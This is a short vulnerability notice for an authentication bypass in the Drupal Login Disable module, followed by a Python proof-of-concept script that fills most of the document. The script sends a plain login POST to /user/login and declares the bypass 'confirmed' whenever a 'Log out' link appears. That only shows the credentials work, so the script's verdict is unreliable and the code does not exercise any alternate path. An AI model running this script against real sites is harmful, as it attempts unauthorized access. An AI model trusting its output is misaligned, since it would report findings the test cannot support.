Authentication Bypass Using an Alternate Path or Channel vulnerability in Drupal Login Disable allows Functionality Bypass.This issue affects Login Disable: from 0.0.0 before 2.1.3.
The following code is for security research and authorized testing only.
python
import requests
def check_vulnerability(target_url, username, password):
"""
PoC for CVE-2026-1917: Authentication Bypass in Drupal Login Disable.
Attempts to login via a direct POST request which might bypass the module's restrictions.
"""
login_url = f"{target_url}/user/login"
# Standard login payload
payload = {
"name": username,
"pass": password,
"form_id": "user_login_form",
"op": "Log in"
}
session = requests.Session()
try:
# Get the login page to establish session and potentially get CSRF token if needed
response = session.get(login_url)
# Attempt to post login credentials
response = session.post(login_url, data=payload)
# Check if login was successful by looking for 'Log out' link or checking redirection
if response.status_code == 200 and 'Log out' in response.text:
print(f"[+] Vulnerability confirmed! Authentication bypassed on {target_url}")
return True
else:
print(f"[-] Authentication bypass failed or patch applied.")
return False
except Exception as e:
print(f"[!] Error occurred: {e}")
return False
if __name__ == "__main__":
target = "http://example.com" # Replace with target URL
user = "testuser"
pwd = "password"
check_vulnerability(target, user, pwd)